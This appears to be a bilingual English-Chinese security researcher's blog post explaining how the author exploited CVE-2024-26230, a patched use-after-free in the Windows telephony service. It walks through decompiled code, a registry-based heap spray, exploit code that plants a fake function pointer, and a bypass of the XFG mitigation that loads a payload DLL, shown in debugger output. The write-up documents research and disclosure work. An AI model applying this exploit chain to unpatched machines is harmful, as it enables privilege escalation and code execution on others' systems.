Summary 总结
In April 2024, Microsoft patched a use-after-free vulnerability in the telephony service, which I reported and assigned to CVE-2024-26230. I have already completed exploitation, employing an interesting trick to bypass XFG mitigation on Windows 11.2024 年 4 月,Microsoft 修补了电话服务中的释放后使用漏洞,我报告了该漏洞并将其分配给 CVE-2024-26230。我已经完成了利用,采用了一个有趣的技巧来绕过 Windows 11 上的 XFG 缓解。
Moving forward, in my personal blog posts regarding my vulnerability and exploitation findings, I aim not only to introduce the exploit stage but also to share my thought process on how I completed the exploitation step by step. In this blog post, I will delve into the technique behind the trick and the exploitation of CVE-2024-26230.展望未来,在我的个人博客文章中,关于我的漏洞和漏洞利用发现,我的目标不仅是介绍漏洞利用阶段,还分享我如何逐步完成漏洞利用的思考过程。在这篇博文中,我将深入探讨该技巧背后的技术以及 CVE-2024-26230 的利用。
Root Cause 根源
The telephony service is a RPC based service which is not running by default, but it could be actived by invoking StartServiceW API with normal user privilege.电话服务是基于 RPC 的服务,默认情况下不运行,但可以通过使用普通用户权限调用 StartServiceW API 来激活它。
There are only three functions in telephony RPC server interface.电话RPC服务器接口中只有三个功能。
long ClientAttach(
[out][context_handle] void** arg_0,
[in]long arg_1,
[out]long *arg_2,
[in][string] wchar_t* arg_3,
[in][string] wchar_t* arg_4);
void ClientRequest(
[in][context_handle] void* arg_0,
[in][out] /* [DBG] FC_CVARRAY */[size_is(arg_2)][length_is(, *arg_3)]char *arg_1/*[] CONFORMANT_ARRAY*/,
[in]long arg_2,
[in][out]long *arg_3);
void ClientDetach(
[in][out][context_handle] void** arg_0);
}
It’s easy to understand that the ClientAttach method could create a context handle, the ClientRequest method could process requests using the specified context handle, and the ClientDetach method could release the context handle.很容易理解,ClientAttach 方法可以创建上下文句柄,ClientRequest 方法可以使用指定的上下文句柄处理请求,而 ClientDetach 方法可以释放上下文句柄。
In fact, there is a global variable named “gaFuncs,” which serves as a router variable to dispatch to specific dispatch functions within the ClientRequest method. The dispatch function it routes to depends on a value that could be controlled by an attacker.事实上,有一个名为“gaFuncs”的全局变量,它用作路由器变量,用于调度到 ClientRequest 方法中的特定调度函数。它路由到的调度函数取决于攻击者可以控制的值。
Within the dispatch functions, numerous objects can be processed. These objects are created by the function NewObject, which inserts them into a global handle table named “ghHandleTable.” Each object holds a distinct magic value. When the telephony service references an object, it invokes the function ReferenceObject to compare the magic value and retrieve it from the handle table.在调度功能中,可以处理许多对象。这些对象由函数 NewObject 创建,该函数将它们插入到名为“ghHandleTable”的全局句柄表中。每个对象都具有不同的魔术值。当电话服务引用对象时,它会调用函数 ReferenceObject 来比较魔术值并从句柄表中检索它。
The vulnerability exists with objects that possess the magic value “GOLD” which can be created by the function “GetUIDllName”.该漏洞存在于具有魔术值“GOLD”的对象中,该魔术值可由函数“GetUIDllName”创建。
void __fastcall GetUIDllName(__int64 a1, int *a2, unsigned int a3, __int64 a4, _DWORD *a5)
{
[...]
if ( object )
{
*object = 0x474F4C44; // =====> [a]
v38 = *(_QWORD *)(contexthandle + 184);
*((_QWORD *)object + 10) = v38;
if ( v38 )
*(_QWORD *)(v38 + 72) = object;
*(_QWORD *)(contexthandle + 184) = object; // =======> [b]
a2[8] = object[22];
}
[...]
}
As the code above, service stores the magic value 0x474F4C44(GOLD) into the object[a] and inserts object into the context handle object[b].Typically, most objects are stored within the context handle object, which is initialized in the ClientAttach function. When the service references an object, it checks whether the object is owned by the specified context handle object, as demonstrated in the following code:如上面的代码所示,service 将幻值 0x474F4C44(GOLD) 存储到 object[a] 中,并将 object 插入到上下文句柄 object[b] 中。通常,大多数对象都存储在上下文句柄对象中,该对象在 ClientAttach 函数中初始化。当服务引用对象时,它会检查该对象是否由指定的上下文句柄对象拥有,如以下代码所示:
v28 = ReferenceObject(v27, a3, 0x494C4343); // reference the object
if ( v28
&& (TRACELogPrint(262146i64, "LineProlog: ReferenceObject returned ptCallClient %p", v28),
*((_QWORD *)v28 + 1) == context_handle_object) // check whether the object belong to context handle object )
{
However, when the “GOLD” object is freed, it doesn’t check whether the object is owned by the context handle. Therefore, I can exploit this by creating two context handles: one that holds the “GOLD” object and another to invoke the dispatch function “FreeDiagInstance” to free the “GOLD” object. Consequently, the “GOLD” object is freed while the original context handle object still holds the “GOLD” object pointer.但是,当释放“GOLD”对象时,它不会检查该对象是否由上下文句柄拥有。因此,我可以通过创建两个上下文句柄来利用这一点:一个用于保存“GOLD”对象,另一个用于调用调度函数“FreeDiagInstance”以释放“GOLD”对象。因此,“GOLD”对象被释放,而原始上下文句柄对象仍保留“GOLD”对象指针。
__int64 __fastcall FreeDialogInstance(unsigned __int64 a1, _DWORD *a2)
{
[...]
v4 = (_DWORD *)ReferenceObject(a1, (unsigned int)a2[2], 0x474F4C44i64);
[...]
if ( *v4 == 0x474F4C44 ) // only check if the magic value is equal to 0x474f4c44, it doesn't check if the object belong to context handle object
[...]
// free the object
}
This results in the original context handle object holding a dangling pointer. Consequently, the dispatch function “TUISPIDLLCallback” utilizes this dangling pointer, leading to a use-after-free vulnerability. As a result, the telephony service crashes when attempting to reference a virtual function.这会导致原始上下文句柄对象持有悬空指针。因此,调度函数“TUISPIDLLCallback”利用了这个悬空指针,从而导致释放后使用漏洞。因此,在尝试引用虚拟函数时,电话服务崩溃。
__int64 __fastcall TUISPIDLLCallback(__int64 a1, _DWORD *a2, int a3, __int64 a4, _DWORD *a5)
{
[...]
v7 = (unsigned int)controlledbuffer[2];
v8 = 0i64;
v9 = controlledbuffer + 4;
v10 = controlledbuffer + 5;
if ( (unsigned int)IsBadSizeOffset(a3, 0, controlledbuffer[5], controlledbuffer[4], 4) )
goto LABEL_30;
switch ( controlledbuffer[3] )
{
[...]
case 3:
for ( freedbuffer = *(_QWORD *)(context_handle_object + 0xB8); freedbuffer; freedbuffer = *(_QWORD *)(freedbuffer + 80) ) // ===========> context handle object holds the dangling pointer at offset 0xB8
{
if ( controlledbuffer[2] == *(_DWORD *)(freedbuffer + 16) ) // compare the value
{
v8 = *(__int64 (__fastcall **)(__int64, _QWORD, __int64, _QWORD))(freedbuffer + 32); // reference the virtual function within dangling pointer
goto LABEL_27;
}
}
break;
[...]
if ( v8 )
{
result = v8(v7, (unsigned int)controlledbuffer[3], a4 + *v9, *v10); // ====> trigger UaF
[...]
}
Note that the controllable buffer in the code above refers to the input buffer of the RPC client, where all content can be controlled by the attacker. This ultimately leads to a crash.需要注意的是,上面代码中的可控缓冲区是指RPC客户端的输入缓冲区,其中所有内容都可以由攻击者控制。这最终会导致崩溃。
0:001> R
rax=0000000000000000 rbx=0000000000000000 rcx=3064c68a8d720000
rdx=0000000000080006 rsi=0000000000000000 rdi=00000000474f4c44
rip=00007ffcb4b4955c rsp=000000ec0f9bee80 rbp=0000000000000000
r8=000000ec0f9bea30 r9=000000ec0f9bee90 r10=ffffffffffffffff
r11=000000ec0f9be9e8 r12=0000000000000000 r13=00000203df002b00
r14=00000203df002b00 r15=000000ec0f9bf238
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
tapisrv!FreeDialogInstance+0x7c:
00007ffc`b4b4955c 393e cmp dword ptr [rsi],edi ds:00000000`00000000=????????
0:001> K
# Child-SP RetAddr Call Site
00 000000ec`0f9bee80 00007ffc`b4b47295 tapisrv!FreeDialogInstance+0x7c
01 000000ec`0f9bf1e0 00007ffc`b4b4c8bc tapisrv!CleanUpClient+0x451
02 000000ec`0f9bf2a0 00007ffc`d9b85809 tapisrv!PCONTEXT_HANDLE_TYPE_rundown+0x9c
03 000000ec`0f9bf2e0 00007ffc`d9b840f6 RPCRT4!NDRSRundownContextHandle+0x21
04 000000ec`0f9bf330 00007ffc`d9bcb935 RPCRT4!DestroyContextHandlesForGuard+0xbe
05 000000ec`0f9bf370 00007ffc`d9bcb8b4 RPCRT4!OSF_ASSOCIATION::~OSF_ASSOCIATION+0x5d
06 000000ec`0f9bf3a0 00007ffc`d9bcade4 RPCRT4!OSF_ASSOCIATION::`vector deleting destructor'+0x14
07 000000ec`0f9bf3d0 00007ffc`d9bcad27 RPCRT4!OSF_ASSOCIATION::RemoveConnection+0x80
08 000000ec`0f9bf400 00007ffc`d9b8704e RPCRT4!OSF_SCONNECTION::FreeObject+0x17
09 000000ec`0f9bf430 00007ffc`d9b861ea RPCRT4!REFERENCED_OBJECT::RemoveReference+0x7e
0a 000000ec`0f9bf510 00007ffc`d9b97f5c RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x18e
0b 000000ec`0f9bf610 00007ffc`d9b97e22 RPCRT4!CO_ConnectionThreadPoolCallback+0xbc
0c 000000ec`0f9bf690 00007ffc`d8828f51 RPCRT4!CO_NmpThreadPoolCallback+0x42
0d 000000ec`0f9bf6d0 00007ffc`db34aa58 KERNELBASE!BasepTpIoCallback+0x51
0e 000000ec`0f9bf720 00007ffc`db348d03 ntdll!TppIopExecuteCallback+0x198
Find Primitive 查找 Primitive
When I discovered this vulnerability, I quickly realized that it could be exploited because I can control the timing of both releasing and using object.当我发现这个漏洞时,我很快意识到它可能会被利用,因为我可以控制发布和使用对象的时间。
However, the first challenge of exploitation is that I need an exploit primitive. The Ring 3 world is different from the Ring 0 world. In kernel mode, I could use various objects as primitives, even if they are different types. But in user mode, I can only use objects within the same process. This means that I can’t exploit the vulnerability if there isn’t a suitable object in the target process.然而,利用的第一个挑战是我需要一个利用原语。Ring 3 世界与 Ring 0 世界不同。在内核模式下,我可以使用各种对象作为基元,即使它们是不同的类型。但是在用户模式下,我只能使用同一进程中的对象。这意味着如果目标进程中没有合适的对象,我无法利用该漏洞。
So, I need to ensure whether there is a suitable object in the telephony service. There is a small tip that I don’t even need an ‘object.’ What I want is just a memory allocation that I can control both size and content.因此,我需要确保电话服务中是否有合适的对象。有一个小提示,我什至不需要“对象”。我想要的只是一个可以控制大小和内容的内存分配。
After reverse engineering, I discovered an interesting primitive. There is a dispatch function named “TRequestMakeCall” that opens the registry key of the telephony service and allocates memory to store key values.经过逆向工程,我发现了一个有趣的原语。有一个名为“TRequestMakeCall”的调度函数,用于打开电话服务的注册表项并分配内存来存储键值。
if ( !RegOpenCurrentUser(0xF003Fu, &phkResult) ) // ==========> [a]
{
if ( !RegOpenKeyExW(
phkResult,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities",
0,
0x20019u,
&hKey) )
{
GetPriorityList(hKey, L"RequestMakeCall"); // ==========> [b]
RegCloseKey(hKey);
}
///////////////////////////////////////////
if ( RegQueryValueExW(hKey, lpValueName, 0i64, &Type, 0i64, &cbData) || !cbData ) // =============> [c]
{
[...]
}
else
{
v6 = HeapAlloc(ghTapisrvHeap, 8u, cbData + 2); // ===========> [d]
v7 = (wchar_t *)v6;
if ( v6 )
{
*(_WORD *)v6 = 34;
LODWORD(v6) = RegQueryValueExW(hKey, lpValueName, 0i64, &Type, (LPBYTE)v6 + 2, &cbData); // ==============> [e]
[...]
}
In the dispatch function “TRequestMakeCall,” it first opens the HKCU root key [a] and invokes the GetPriorityList function to obtain the “RequestMakeCall” key value. After checking the key privilege, it’s determined that this key can be fully controlled by the current user, meaning I could modify the key value. In the function “GetPriorityList,” it first retrieves the type and size of the key, then allocates a heap to store the key value. This implies that if I can control the key value, I can also control both the heap size and the content of the heap.在调度函数“TRequestMakeCall”中,它首先打开 HKCU 根密钥 [a] 并调用 GetPriorityList 函数以获取“RequestMakeCall”密钥值。检查密钥权限后,确定此密钥可以由当前用户完全控制,这意味着我可以修改密钥值。在函数“GetPriorityList”中,它首先检索密钥的类型和大小,然后分配一个堆来存储密钥值。这意味着,如果我可以控制键值,我还可以控制堆的大小和堆的内容。
The default type of “RequestMakeCall” is REG_SZ, but since the current user has full control privilege over it, I can delete the default value and create a REG_BINARY type key value. This allows me to set both the size and content to arbitrary values, making it a useful primitive.“RequestMakeCall”的默认类型是REG_SZ,但由于当前用户对它具有完全控制权限,因此我可以删除默认值并创建REG_BINARY类型键值。这允许我将大小和内容都设置为任意值,使其成为有用的基元。
Heap Fengshui 堆风水
After ensure there is a suitable primitive, I think it’s time to perform heap feng shui now. Because I can control the timing of allocating, releasing, and using the object, it’s easy to come up with a layout. 在确定有合适的原语之后,我认为现在是时候进行堆风水了。因为我可以控制分配、释放和使用对象的时间,所以很容易想出一个布局。
- First, I allocate enough “GOLD” objects using the “GetUIDllName” function.
首先,我使用“GetUIDllName”函数分配足够的“GOLD”对象。 - Then, I free some of them to create some holes using the “FreeDiagInstance” function.
然后,我释放了其中一些,以使用“FreeDiagInstance”函数创建一些孔。 - Next, I allocate a worker “GOLD” object to trigger the use-after-free vulnerability.
接下来,我分配一个工作线程“GOLD”对象来触发释放后使用漏洞。 - After that, I free the worker object with the vulnerability. This time, the worker context handle object still holds the dangling pointer of the worker object.
之后,我释放了具有漏洞的 worker 对象。这一次,辅助角色上下文句柄对象仍包含辅助角色对象的悬空指针。 - Following this, I delete the “RequestMakeCall” key value and create a REG_BINARY type key with controlled content. Then, I allocate some key value heaps to ensure they occupy the hole left by the worker object.
在此之后,我删除了“RequestMakeCall”键值,并创建了一个具有受控内容的REG_BINARY类型键。然后,我分配一些键值堆,以确保它们占用工作对象留下的孔。
XFG mitigation
After the final step of heap fengshui in the previous section, the controlled key value heap occupies the target hole, and when I invoke “TUISPIDLLCallback” function to trigger the “use” step, as the pseudo code above, controlled buffer is the input buffer of RPC interface, if I set it to 3, it will compare a magic value with the worker object, then obtain a virtual function address from the worker object, so that I only need to set this two value in the content of registry key value.
RegDeleteKeyValueW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", L"RequestMakeCall");
RegOpenKeyW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", &hkey);
BYTE lpbuffer[0x5e] = { 0 };
*(PDWORD)((ULONG_PTR)lpbuffer + 0xE) = (DWORD)0x40000018;
*(PULONG_PTR)((ULONG_PTR)lpbuffer + 0x1E) = (ULONG_PTR)jmpaddr; // fake pointer
RegSetValueExW(hkey, L"RequestMakeCall", 0, REG_BINARY, lpbuffer, 0x5E);
It seems that there is only one step left to complete the exploitation. I can control the address of the virtual function, which means I can control the RIP register. I can use ROP if there isn’t XFG mitigation. However, XFG will limit the RIP register from jumping to a ROP gadget address, causing an INT29 exception when the control flow check fails.
Last step, the truely challenge
Just like the exploitation I introduced in my previous blog post—the exploitation of CNG key isolation—when I can control the RIP, it’s useful to invoke LoadLibrary to load the payload DLL. However, I quickly encountered some challenges this time when attempting to set the virtual address to the LoadLibrary address.
Let’s review the virtual function call in “TUISPIDLLCallback” dispatch function:
result = v8((unsigned int)controlledbuffer[2], (unsigned int)controlledbuffer[3], buffer + *(controlledbuffer + 4), *(controlledbuffer + 5)); // ====> trigger UaF
- The first parameter is a DWORD type value which is obtained from a RPC input buffer which could be controlled by client.
- The second parameter is also obtained from a RPC input buffer, but it must be a const value, it’s equal to the case number I mentioned in previous section, it must be 3.
- The third parameter is a pointer. The buffer is the controlled buffer address with an added offset of 0x3C. Additionally, this pointer will have an offset added to it, which is obtained from the controlled RPC input buffer.
- The fourth parameter is a DWORD type that obtained from a controlled RPC input buffer.
It’s evident that in order to jump to LoadLibrary to load the payload DLL, the first parameter should be a pointer pointing to the payload DLL path. However, in this situation, it’s a DWORD type value.
So I can’t use LoadLibrary directly to load payload DLL, I need to find out another way to complete the exploitation. At this time, I want to find a indirectly function to load payload DLL, because the third parameter is a pointer and the content of it I could control, I need a function has the following code:
func(a1, a2, a3, ...){
[...]
path = a3;
LoadLibarary(path);
[...]
}
The limitation in this scenario is that I can’t control which DLL is loaded in the RPC server. Therefore, I can only use existing DLLs in the RPC server, which takes some time for me to find an eligible function. But it’s failed to find an eligible function.
It seems like we’re back to the beginning. I’m reviewing some APIs in MSDN again, hoping to find another scenario.
The trick
After some time, I remember an interesting API — VirtualAlloc.
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
The first parameter of VirtualAlloc is lpAddress, which can be set to a specified value, and the process will allocate memory at this address.
I notice that I can allocate a 32-bits address with this function!
The second parameter is a constant value representing the buffer size to allocate. However, it’s not necessary for my purpose. The last parameter is a controlled DWORD value, which I can set to the value for flProtect. I could set it to PAGE_EXECUTE_READWRITE (0x40).
But a new challenge arises with the third parameter.
The third parameter is flAllocationType, and in my scenario, it’s a pointer. This implies that the low 32 bits of the pointer should be the flAllocationType. I need to set it to MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000). Although I can control the offset, I don’t know the address of the pointer, so I can’t set the low 32 bits of the pointer to a specified value. I tried allocating the heap with some random value, but all of it failed.
Let’s review the “use” code again:
result = v8((unsigned int)controlledbuffer[2], (unsigned int)controlledbuffer[3], buffer + *(controlledbuffer + 4), *(controlledbuffer + 5)); // ====> trigger UaF
if(!result){
[...]
}
*controlledbuffer = result;
return result;
The virtual function return value will be stored into the controlled buffer, which will then be returned to the client. This means that if I allocate memory using a function such as MIDL_user_allocate, it will return a 64-bit address, but only the low 32 bits of the address will be returned to the client. This will be a useful information disclosure.
But I still can’t predict the low 32-bits value of the third parameter when invoking VirtualAlloc. So, I tried increasing the allocate buffer size to find out if there is any regularity. Actually, the maximum size of the RPC client could be set is larger than 0x40000000. When I set the allocate size to 0x40000000, I found an interesting situation.但是在调用 VirtualAlloc 时,我仍然无法预测第三个参数的低 32 位值。因此,我尝试增加分配缓冲区大小,以确定是否存在任何规律性。实际上,可以设置的 RPC 客户端的最大大小大于 0x40000000。当我将分配大小设置为 0x40000000 时,我发现了一个有趣的情况。
I find out that when the allocate size is set to 0x40000000, the low 32-bits address of the pointer increases linearly, which makes it predictable.我发现,当分配大小设置为 0x40000000 时,指针的低 32 位地址呈线性增加,这使得它变得可预测。
That means, for example, if the leaked low 32-bits return 0xbd700000, I know that if I set the input buffer size to 0x40000000, the next controlled buffer’s low 32-bits will be 0xfd800000. Additionally, the offset of the third parameter couldn’t be larger than the input buffer size. Therefore, I need to ensure that the low 32-bits address is larger than 0xc0000000. In this way, the low 32-bits of the third parameter could be a DWORD value larger than 0x100000000 after the address is added with the offset. It’s possible to set the third parameter to 0x3000 (MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)).这意味着,例如,如果泄漏的低 32 位返回0xbd700000,我知道如果我将输入缓冲区大小设置为 0x40000000,下一个受控缓冲区的低 32 位将被0xfd800000。此外,第三个参数的偏移量不能大于输入缓冲区大小。因此,我需要确保低 32 位地址大于 0xc0000000。这样,第三个参数的低 32 位可能是大于 0x100000000 的 DWORD 值,在地址与偏移量相加后。可以将第三个参数设置为 0x3000 (MEM_COMMIT(0x1000) |MEM_RESERVE(0x2000))。
As for now, I make heap fengshui and control the all content of the heap hole with the controllable registry key value, and for bypassing XFG mitigation, I need to first leak the low 32-bits address by setting the MIDL_user_allocate function address in key value, and then set the VirtualAlloc function address in key value, obviously, it doesn’t end if I allocate 32-bits address succeed, I need to invoke “TUISPIDLLCallback” multiple times to complete bypassing XFG mitigation. The good news is that I could control the timing of “use”, so all I need to do is free the registry key value heap, set the new key value with the target function address, allocate a new key value heap, and use it again.至于现在,我做堆风水,用可控的注册表项值控制堆孔的所有内容,为了绕过XFG缓解,我需要先通过在键值中设置MIDL_user_allocate函数地址来泄漏低32位地址,然后在键值中设置VirtualAlloc函数地址, 显然,如果我分配 32 位地址成功,它不会结束,我需要多次调用“TUISPIDLLCallback”才能完成绕过 XFG 缓解。好消息是我可以控制“使用”的时间,所以我需要做的就是释放注册表项值堆,使用目标函数地址设置新的键值,分配新的键值堆,然后再次使用它。
tapisrv!TUISPIDLLCallback+0x1cc:
00007fff`7c27fecc ff154ee80000 call qword ptr [tapisrv!_guard_xfg_dispatch_icall_fptr (00007fff`7c28e720)] ds:00007fff`7c28e720={ntdll!LdrpDispatchUserCallTarget (00007fff`afcded40)}
0:007> u rax
KERNEL32!VirtualAllocStub:
00007fff`aeae3bf0 48ff2551110700 jmp qword ptr [KERNEL32!_imp_VirtualAlloc (00007fff`aeb54d48)]
00007fff`aeae3bf7 cc int 3
00007fff`aeae3bf8 cc int 3
00007fff`aeae3bf9 cc int 3
00007fff`aeae3bfa cc int 3
00007fff`aeae3bfb cc int 3
00007fff`aeae3bfc cc int 3
00007fff`aeae3bfd cc int 3
0:007> r r8d
r8d=3000
0:007> r r9d
r9d=40
0:007> r rcx
rcx=00000000ba000000
0:007> r rdx
rdx=0000000000000003
According to the debugging information, we can see that every parameter satisfies the request. After invoking the VirtualAlloc function, we have successfully allocated a 32-bit address.根据调试信息,我们可以看到每个参数都满足请求。调用 VirtualAlloc 函数后,我们已成功分配了一个 32 位地址。
0:007> p
tapisrv!TUISPIDLLCallback+0x1d2:
00007fff`7c27fed2 85c0 test eax,eax
0:007> dq ba000000
00000000`ba000000 00000000`00000000 00000000`00000000
00000000`ba000010 00000000`00000000 00000000`00000000
00000000`ba000020 00000000`00000000 00000000`00000000
00000000`ba000030 00000000`00000000 00000000`00000000
00000000`ba000040 00000000`00000000 00000000`00000000
This means I have successfully controlled the first parameter as a pointer. The next step is to copy the payload DLL path into the 32-bit address. However, I can’t use the memcpy function because the second parameter is a constant value, which must be 3. Instead, I decide to use the memcpy_s function, where the second parameter represents the copy length and the third parameter is the source address. I can only copy 3 bytes at a time, but I can invoke it multiple times to complete the path copying.这意味着我已经成功地将第一个参数控制为指针。下一步是将有效负载 DLL 路径复制到 32 位地址中。但是,我不能使用 memcpy 函数,因为第二个参数是一个常量值,必须为 3。相反,我决定使用 memcpy_s 函数,其中第二个参数表示复制长度,第三个参数是源地址。我一次只能复制 3 个字节,但我可以多次调用它来完成路径复制。
0:009> dc ba000000
00000000`ba000000 003a0043 0055005c 00650073 00730072 C.:.\.U.s.e.r.s.
00000000`ba000010 0070005c 006e0077 0041005c 00700070 \.p.w.n.\.A.p.p.
00000000`ba000020 00610044 00610074 0052005c 0061006f D.a.t.a.\.R.o.a.
00000000`ba000030 0069006d 0067006e 0066005c 006b0061 m.i.n.g.\.f.a.k.
00000000`ba000040 00640065 006c006c 0064002e 006c006c e.d.l.l...d.l.l.
There is one step last is invoking LoadLibrary to load payload DLL.最后一步是调用 LoadLibrary 来加载有效负载 DLL。
0:009> u
KERNELBASE!LoadLibraryW:
00007fff`ad1f2480 4533c0 xor r8d,r8d
00007fff`ad1f2483 33d2 xor edx,edx
00007fff`ad1f2485 e9e642faff jmp KERNELBASE!LoadLibraryExW (00007fff`ad196770)
00007fff`ad1f248a cc int 3
00007fff`ad1f248b cc int 3
00007fff`ad1f248c cc int 3
00007fff`ad1f248d cc int 3
00007fff`ad1f248e cc int 3
0:009> dc rcx
00000000`ba000000 003a0043 0055005c 00650073 00730072 C.:.\.U.s.e.r.s.
00000000`ba000010 0070005c 006e0077 0041005c 00700070 \.p.w.n.\.A.p.p.
00000000`ba000020 00610044 00610074 0052005c 0061006f D.a.t.a.\.R.o.a.
00000000`ba000030 0069006d 0067006e 0066005c 006b0061 m.i.n.g.\.f.a.k.
00000000`ba000040 00640065 006c006c 0064002e 006c006c e.d.l.l...d.l.l.
00000000`ba000050 00000000 00000000 00000000 00000000 ................
00000000`ba000060 00000000 00000000 00000000 00000000 ................
00000000`ba000070 00000000 00000000 00000000 00000000 ................
0:009> k
# Child-SP RetAddr Call Site
00 000000ab`ac97eac8 00007fff`7c27fed2 KERNELBASE!LoadLibraryW
01 000000ab`ac97ead0 00007fff`7c27817a tapisrv!TUISPIDLLCallback+0x1d2
02 000000ab`ac97eb60 00007fff`afb57f13 tapisrv!ClientRequest+0xba